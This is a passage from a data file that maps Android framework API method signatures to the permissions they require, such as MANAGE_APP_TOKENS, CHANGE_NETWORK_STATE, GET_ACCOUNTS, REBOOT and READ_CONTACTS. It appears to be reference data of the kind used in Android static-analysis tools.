"DEVICE_POWER",
"Landroid/os/IPowerManager$Stub$Proxy;-userActivityWithForce-(J B B)": "DEVICE_POWER",
"Landroid/app/ExpandableListActivity;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/accounts/GrantCredentialsPermissionActivity;-setPersistent-(B)":
"PERSISTENT_ACTIVITY",
"Landroid/app/Activity;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/app/ListActivity;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/app/AliasActivity;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/accounts/AccountAuthenticatorActivity;-setPersistent-(B)":
"PERSISTENT_ACTIVITY",
"Landroid/app/IActivityManager$Stub$Proxy;-setPersistent-(Landroid/os/IBinder; B)":
"PERSISTENT_ACTIVITY",
"Landroid/app/TabActivity;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/app/ActivityGroup;-setPersistent-(B)": "PERSISTENT_ACTIVITY",
"Landroid/view/IWindowManager$Stub$Proxy;-addAppToken-(I Landroid/view/IApplicationToken; I I B)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-addWindowToken-(Landroid/os/IBinder; I)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-executeAppTransition-()": "MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-moveAppToken-(I Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-moveAppTokensToBottom-(Ljava/util/List;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-moveAppTokensToTop-(Ljava/util/List;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-pauseKeyDispatching-(Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-prepareAppTransition-(I)": "MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-removeAppToken-(Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-removeWindowToken-(Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-resumeKeyDispatching-(Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setAppGroupId-(Landroid/os/IBinder; I)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setAppOrientation-(Landroid/view/IApplicationToken; I)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setAppStartingWindow-(Landroid/os/IBinder; Ljava/lang/String; I Ljava/lang/CharSequence; I I Landroid/os/IBinder; B)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setAppVisibility-(Landroid/os/IBinder; B)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setAppWillBeHidden-(Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setEventDispatching-(B)": "MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setFocusedApp-(Landroid/os/IBinder; B)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-setNewConfiguration-(Landroid/content/res/Configuration;)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-startAppFreezingScreen-(Landroid/os/IBinder; I)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-stopAppFreezingScreen-(Landroid/os/IBinder; B)":
"MANAGE_APP_TOKENS",
"Landroid/view/IWindowManager$Stub$Proxy;-updateOrientationFromAppTokens-(Landroid/content/res/Configuration; Landroid/os/IBinder;)":
"MANAGE_APP_TOKENS",
"Landroid/provider/Browser;-BOOKMARKS_URI-Landroid/net/Uri;": "WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-SEARCHES_URI-Landroid/net/Uri;": "WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-addSearchUrl-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-clearHistory-(Landroid/content/ContentResolver;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-clearSearches-(Landroid/content/ContentResolver;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-deleteFromHistory-(Landroid/content/ContentResolver; Ljava/lang/String;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-deleteHistoryTimeFrame-(Landroid/content/ContentResolver; J J)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-truncateHistory-(Landroid/content/ContentResolver;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-updateVisitedHistory-(Landroid/content/ContentResolver; Ljava/lang/String; B)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/provider/Browser;-clearSearches-(Landroid/content/ContentResolver;)":
"WRITE_HISTORY_BOOKMARKS",
"Landroid/app/IActivityManager$Stub$Proxy;-unhandledBack-(I)": "FORCE_BACK",
"Landroid/net/IConnectivityManager$Stub$Proxy;-requestRouteToHost-(I I)":
"CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-setMobileDataEnabled-(B)":
"CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-setNetworkPreference-(I)":
"CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-setRadio-(I B)": "CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-setRadios-(B)": "CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-stopUsingNetworkFeature-(I Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-tether-(Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/net/IConnectivityManager$Stub$Proxy;-untether-(Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-requestRouteToHost-(I I)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-setMobileDataEnabled-(B)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-setNetworkPreference-(I)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-setRadio-(I B)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-setRadios-(B)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-startUsingNetworkFeature-(I Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-stopUsingNetworkFeature-(I Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-tether-(Ljava/lang/String;)": "CHANGE_NETWORK_STATE",
"Landroid/net/ConnectivityManager;-untether-(Ljava/lang/String;)": "CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-attachPppd-(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-detachPppd-(Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-disableNat-(Ljava/lang/String; Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-enableNat-(Ljava/lang/String; Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-setAccessPoint-(Landroid/net/wifi/WifiConfiguration; Ljava/lang/String; Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-setInterfaceThrottle-(Ljava/lang/String; I I)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-setIpForwardingEnabled-(B)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-startAccessPoint-(Landroid/net/wifi/WifiConfiguration; Ljava/lang/String; Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-startUsbRNDIS-()":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-stopAccessPoint-()":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-stopTethering-()":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-stopUsbRNDIS-()":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-tetherInterface-(Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-unregisterObserver-(Landroid/net/INetworkManagementEventObserver;)":
"CHANGE_NETWORK_STATE",
"Landroid/os/INetworkManagementService$Stub$Proxy;-untetherInterface-(Ljava/lang/String;)":
"CHANGE_NETWORK_STATE",
"Landroid/app/ContextImpl$ApplicationContentResolver;-addPeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)":
"WRITE_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-removePeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"WRITE_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-setIsSyncable-(Landroid/accounts/Account; Ljava/lang/String; I)":
"WRITE_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-setMasterSyncAutomatically-(B)":
"WRITE_SYNC_SETTINGS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-setSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String; B)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentService;-addPeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentService;-removePeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentService;-setIsSyncable-(Landroid/accounts/Account; Ljava/lang/String; I)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentService;-setMasterSyncAutomatically-(B)": "WRITE_SYNC_SETTINGS",
"Landroid/content/ContentService;-setSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String; B)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-addPeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-removePeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-setIsSyncable-(Landroid/accounts/Account; Ljava/lang/String; I)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-setMasterSyncAutomatically-(B)": "WRITE_SYNC_SETTINGS",
"Landroid/content/ContentResolver;-setSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String; B)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-addPeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-removePeriodicSync-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-setIsSyncable-(Landroid/accounts/Account; Ljava/lang/String; I)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-setMasterSyncAutomatically-(B)":
"WRITE_SYNC_SETTINGS",
"Landroid/content/IContentService$Stub$Proxy;-setSyncAutomatically-(Landroid/accounts/Account; Ljava/lang/String; B)":
"WRITE_SYNC_SETTINGS",
"Landroid/accounts/AccountManager;-KEY_ACCOUNT_MANAGER_RESPONSE-Ljava/lang/String;":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-checkBinderPermission-()":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-confirmCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-editProperties-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-getAccountRemovalAllowed-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-getAuthToken-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-getAuthTokenLabel-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-hasFeatures-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-updateCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator;-addAccount-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-addAccount-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-confirmCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-editProperties-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-getAccountRemovalAllowed-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-getAuthToken-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-getAuthTokenLabel-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-hasFeatures-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/AbstractAccountAuthenticator$Transport;-updateCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-addAccount-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-confirmCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-editProperties-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-getAccountRemovalAllowed-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-getAuthToken-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-getAuthTokenLabel-(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-hasFeatures-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)":
"ACCOUNT_MANAGER",
"Landroid/accounts/IAccountAuthenticator$Stub$Proxy;-updateCredentials-(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCOUNT_MANAGER",
"Landroid/view/IWindowManager$Stub$Proxy;-setAnimationScale-(I F)": "SET_ANIMATION_SCALE",
"Landroid/view/IWindowManager$Stub$Proxy;-setAnimationScales-([L;)": "SET_ANIMATION_SCALE",
"Landroid/accounts/AccountManager;-getAccounts-()": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAccountsByType-(Ljava/lang/String;)": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAccountsByTypeAndFeatures-(Ljava/lang/String; [Ljava/lang/String; [Landroid/accounts/AccountManagerCallback<android/accounts/Account[; Landroid/os/Handler;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-hasFeatures-(Landroid/accounts/Account; [Ljava/lang/String; Landroid/accounts/AccountManagerCallback<java/lang/Boolean>; Landroid/os/Handler;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-addOnAccountsUpdatedListener-(Landroid/accounts/OnAccountsUpdateListener; Landroid/os/Handler; B)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAccounts-()": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAccountsByType-(Ljava/lang/String;)": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAccountsByTypeAndFeatures-(Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAuthTokenByFeatures-(Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/app/Activity; Landroid/os/Bundle; Landroid/os/Bundle; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager;-hasFeatures-(Landroid/accounts/Account; [L[Ljava/lang/Strin; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"GET_ACCOUNTS",
"Landroid/content/ContentService;-<init>-(Landroid/content/Context; B)": "GET_ACCOUNTS",
"Landroid/content/ContentService;-main-(Landroid/content/Context; B)": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager$GetAuthTokenByTypeAndFeaturesTask;-doWork-()":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager$GetAuthTokenByTypeAndFeaturesTask;-start-()":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManager$AmsTask;-doWork-()": "GET_ACCOUNTS",
"Landroid/accounts/AccountManager$AmsTask;-start-()": "GET_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-getAccounts-(Ljava/lang/String;)":
"GET_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-getAccountsByFeatures-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; [L[Ljava/lang/Strin;)":
"GET_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-hasFeatures-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-checkReadAccountsPermission-()": "GET_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-getAccounts-(Ljava/lang/String;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-getAccountsByFeatures-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; [L[Ljava/lang/Strin;)":
"GET_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-hasFeatures-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)":
"GET_ACCOUNTS",
"Landroid/telephony/gsm/SmsManager;-copyMessageToSim-([L; [L; I)": "RECEIVE_SMS",
"Landroid/telephony/gsm/SmsManager;-deleteMessageFromSim-(I)": "RECEIVE_SMS",
"Landroid/telephony/gsm/SmsManager;-getAllMessagesFromSim-()": "RECEIVE_SMS",
"Landroid/telephony/gsm/SmsManager;-updateMessageOnSim-(I I [L;)": "RECEIVE_SMS",
"Landroid/telephony/SmsManager;-copyMessageToIcc-([L; [L; I)": "RECEIVE_SMS",
"Landroid/telephony/SmsManager;-deleteMessageFromIcc-(I)": "RECEIVE_SMS",
"Landroid/telephony/SmsManager;-getAllMessagesFromIcc-()": "RECEIVE_SMS",
"Landroid/telephony/SmsManager;-updateMessageOnIcc-(I I [L;)": "RECEIVE_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-copyMessageToIccEf-(I [B [B)":
"RECEIVE_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-getAllMessagesFromIccEf-()":
"RECEIVE_SMS",
"Lcom/android/internal/telephony/ISms$Stub$Proxy;-updateMessageOnIccEf-(I I [B)":
"RECEIVE_SMS",
"Landroid/app/IActivityManager$Stub$Proxy;-resumeAppSwitches-()": "STOP_APP_SWITCHES",
"Landroid/app/IActivityManager$Stub$Proxy;-stopAppSwitches-()": "STOP_APP_SWITCHES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-deleteApplicationCacheFiles-(Ljava/lang/String; LIPackageDataObserver;)":
"DELETE_CACHE_FILES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-deleteApplicationCacheFiles-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"DELETE_CACHE_FILES",
"Landroid/content/pm/PackageManager;-deleteApplicationCacheFiles-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"DELETE_CACHE_FILES",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-deleteApplicationCacheFiles-(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)":
"DELETE_CACHE_FILES",
"Landroid/os/Build/VERSION_CODES;-DONUT-I": "WRITE_EXTERNAL_STORAGE",
"Landroid/app/DownloadManager/Request;-setDestinationUri-(Landroid/net/Uri;)":
"WRITE_EXTERNAL_STORAGE",
"Landroid/os/RecoverySystem;-installPackage-(Landroid/content/Context; Ljava/io/File;)":
"REBOOT",
"Landroid/os/RecoverySystem;-rebootWipeUserData-(Landroid/content/Context;)": "REBOOT",
"Landroid/os/RecoverySystem;-bootCommand-(Landroid/content/Context; Ljava/lang/String;)":
"REBOOT",
"Landroid/os/RecoverySystem;-installPackage-(Landroid/content/Context; Ljava/io/File;)":
"REBOOT",
"Landroid/os/RecoverySystem;-rebootWipeUserData-(Landroid/content/Context;)": "REBOOT",
"Landroid/content/Intent;-IntentResolution-Ljava/lang/String;": "REBOOT",
"Landroid/content/Intent;-ACTION_REBOOT-Ljava/lang/String;": "REBOOT",
"Landroid/os/PowerManager;-reboot-(Ljava/lang/String;)": "REBOOT",
"Landroid/os/PowerManager;-reboot-(Ljava/lang/String;)": "REBOOT",
"Landroid/os/IPowerManager$Stub$Proxy;-crash-(Ljava/lang/String;)": "REBOOT",
"Landroid/os/IPowerManager$Stub$Proxy;-reboot-(Ljava/lang/String;)": "REBOOT",
"Landroid/app/ContextImpl$ApplicationPackageManager;-installPackage-(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)":
"INSTALL_PACKAGES",
"Landroid/app/ContextImpl$ApplicationPackageManager;-installPackage-(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)":
"INSTALL_PACKAGES",
"Landroid/content/pm/PackageManager;-installPackage-(Landroid/net/Uri; LIPackageInstallObserver; I Ljava/lang/String;)":
"INSTALL_PACKAGES",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-installPackage-(Landroid/net/Uri; Landroid/content/pm/IPackageInstallObserver; I Ljava/lang/String;)":
"INSTALL_PACKAGES",
"Landroid/app/IActivityManager$Stub$Proxy;-setDebugApp-(Ljava/lang/String; B B)":
"SET_DEBUG_APP",
"Landroid/location/ILocationManager$Stub$Proxy;-reportLocation-(Landroid/location/Location; B)":
"INSTALL_LOCATION_PROVIDER",
"Landroid/app/WallpaperManager;-suggestDesiredDimensions-(I I)": "SET_WALLPAPER_HINTS",
"Landroid/app/IWallpaperManager$Stub$Proxy;-setDimensionHints-(I I)": "SET_WALLPAPER_HINTS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-openFileDescriptor-(Landroid/net/Uri; Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-openInputStream-(Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-openOutputStream-(Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/app/ContextImpl$ApplicationContentResolver;-query-(Landroid/net/Uri; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)":
"READ_CONTACTS",
"Lcom/android/internal/telephony/IccPhoneBookInterfaceManager$Stub$Proxy;-getAdnRecordsInEf-(I)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-addToGroup-(Landroid/content/ContentResolver; J Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-addToMyContactsGroup-(Landroid/content/ContentResolver; J)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-createPersonInMyContactsGroup-(Landroid/content/ContentResolver; Landroid/content/ContentValues;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-loadContactPhoto-(Landroid/content/Context; Landroid/net/Uri; I Landroid/graphics/BitmapFactory$Options;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-markAsContacted-(Landroid/content/ContentResolver; J)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-openContactPhotoInputStream-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-queryGroups-(Landroid/content/ContentResolver; J)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-setPhotoData-(Landroid/content/ContentResolver; Landroid/net/Uri; [L;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$People;-tryGetMyContactsGroupId-(Landroid/content/ContentResolver;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$Data;-getContactLookupUri-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$Contacts;-getLookupUri-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$Contacts;-lookupContact-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$Contacts;-openContactPhotoInputStream-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer;-createOneEntry-()": "READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer;-createOneEntry-(Ljava/lang/reflect/Method;)":
"READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer;-createOneEntryInternal-(Ljava/lang/String; Ljava/lang/reflect/Method;)":
"READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer;-init-()": "READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer;-init-(Ljava/lang/String; [L[Ljava/lang/Strin;)":
"READ_CONTACTS",
"Landroid/pim/vcard/VCardComposer$OneEntryHandler;-onInit-(Landroid/content/Context;)":
"READ_CONTACTS",
"Lcom/android/internal/telephony/CallerInfo;-getCallerId-(Landroid/content/Context; Ljava/lang/String;)":
"READ_CONTACTS",
"Lcom/android/internal/telephony/CallerInfo;-getCallerInfo-(Landroid/content/Context; Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/provider/Contacts$Settings;-getSetting-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$RawContacts;-getContactLookupUri-(Landroid/content/ContentResolver; Landroid/net/Uri;)":
"READ_CONTACTS",
"Landroid/provider/CallLog$Calls;-addCall-(Lcom/android/internal/telephony/CallerInfo; Landroid/content/Context; Ljava/lang/String; I I J I)":
"READ_CONTACTS",
"Landroid/provider/CallLog$Calls;-getLastOutgoingCall-(Landroid/content/Context;)":
"READ_CONTACTS",
"Lcom/android/internal/telephony/IIccPhoneBook$Stub$Proxy;-getAdnRecordsInEf-(I)":
"READ_CONTACTS",
